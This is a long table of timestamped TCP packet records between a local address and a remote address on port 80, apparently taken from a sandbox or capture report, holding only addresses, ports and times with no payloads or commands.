Dec 23, 2024 06:54:29.651978970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.652023077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.652097940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.652144909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.653034925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.653081894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.653111935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.653155088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.654103041 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.654154062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.654203892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.654246092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.655189037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.655230999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.655268908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.655317068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.656271935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.656325102 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.656374931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.656419992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.657327890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.657376051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.657408953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.657453060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.658416986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.658468962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.658512115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.658556938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.659478903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.659537077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.659571886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.659614086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.660681009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.660696030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.660741091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.661659002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.661709070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.661761045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.661803961 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.662692070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.662740946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.662785053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.662827969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.663789988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.663841009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.663880110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.663923025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.664839983 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.664886951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.664927006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.664969921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.665920973 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.665975094 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.666021109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.666071892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.666980028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.667030096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.667131901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.667172909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.668062925 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.668111086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.668167114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.668209076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.669154882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.669202089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.669265985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.669317007 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.670226097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.670275927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.670351028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.670397997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.671293974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.671334028 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.671408892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.671456099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.672406912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.672455072 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.672625065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.672672987 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.673439026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.673487902 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.673527956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.673574924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.674510956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.674566984 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.674596071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.674639940 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.675595999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.675642014 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.675674915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.675719976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.676695108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.676736116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.676843882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.676891088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.677746058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.677805901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.677839041 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.677880049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.678807974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.678854942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.678910971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.678951025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.679883957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.679930925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.680006981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.680056095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.681444883 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.681493998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.681555986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.681596041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.682070017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.682120085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.712217093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.712271929 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.712312937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.712351084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.712738037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.712786913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.712841034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.712887049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.713805914 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.713852882 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.713893890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.713933945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.714602947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.714647055 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.714694023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.714740038 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.715679884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.715718031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.715785027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.715831041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.716746092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.716795921 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.716887951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.716927052 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.717828035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.717871904 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.717927933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.718059063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.718909025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.718964100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.719007969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.719048023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.720010996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.720073938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.720105886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.720149040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.721035004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.721100092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.721110106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.721144915 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.722119093 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.722172022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.722215891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.722263098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.723226070 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.723272085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.723308086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.723346949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.724267006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.724314928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.724354982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.724392891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.778418064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.778539896 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.778542995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.778604031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.778944969 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.778990030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.779035091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.779078960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.780049086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.780100107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.780132055 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.780174971 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.781104088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.781155109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.781168938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.781204939 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.782149076 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.782196999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.782246113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.782294989 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.783241034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.783308029 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.783431053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.783480883 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.784332037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.784388065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.784430981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.784475088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.785420895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.785464048 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.785554886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.785604954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.786451101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.786500931 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.786575079 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.786621094 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.787563086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.787615061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.787677050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.787718058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.788600922 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.788659096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.788686037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.788728952 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.789652109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.789702892 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.854702950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.854752064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.854768991 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.854855061 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.854895115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.854979992 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.855025053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.855590105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.855602026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.855633974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.855638027 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.855659008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.855680943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.856417894 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.856451988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.856463909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.856463909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.856478930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.856489897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.856492043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.856506109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.856511116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.856534958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.856559038 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.857183933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857233047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.857265949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857279062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857290030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857302904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857307911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.857315063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857323885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.857327938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.857352972 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.857372046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.858153105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.858167887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.858207941 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.890044928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.009469986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.331336975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.331449032 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.331465006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.331527948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.331609011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.331649065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.331728935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.331767082 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.332643986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.332691908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.332726002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.332767010 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.333652973 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.333704948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.334001064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.334047079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.334058046 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.334094048 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.335078001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.335131884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.335158110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.335195065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.336157084 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.336208105 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.336318970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.336363077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.337454081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.337501049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.337558031 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.337598085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.338455915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.338504076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.338577986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.338623047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.339526892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.339574099 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.339696884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.339741945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.340542078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.340593100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.340745926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.340792894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.341530085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.341578007 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.341732025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.341770887 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.342591047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.342637062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.342808008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.342854023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.343709946 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.343755960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.343799114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.343846083 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.344820023 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.344866991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.344892979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.344926119 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.345818043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.345865011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.345938921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.345983982 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.346884966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.346936941 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.347018003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.347064018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.348017931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.348062992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.348113060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.348145008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.349064112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.349076986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.349112034 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.349133015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.350352049 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.350363970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.350403070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.351181984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.351233006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.351258039 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.351294994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.352289915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.352338076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.352432966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.352473021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.353355885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.353403091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.353440046 CET	80	49889	185.215.113.206	192.168.2.6
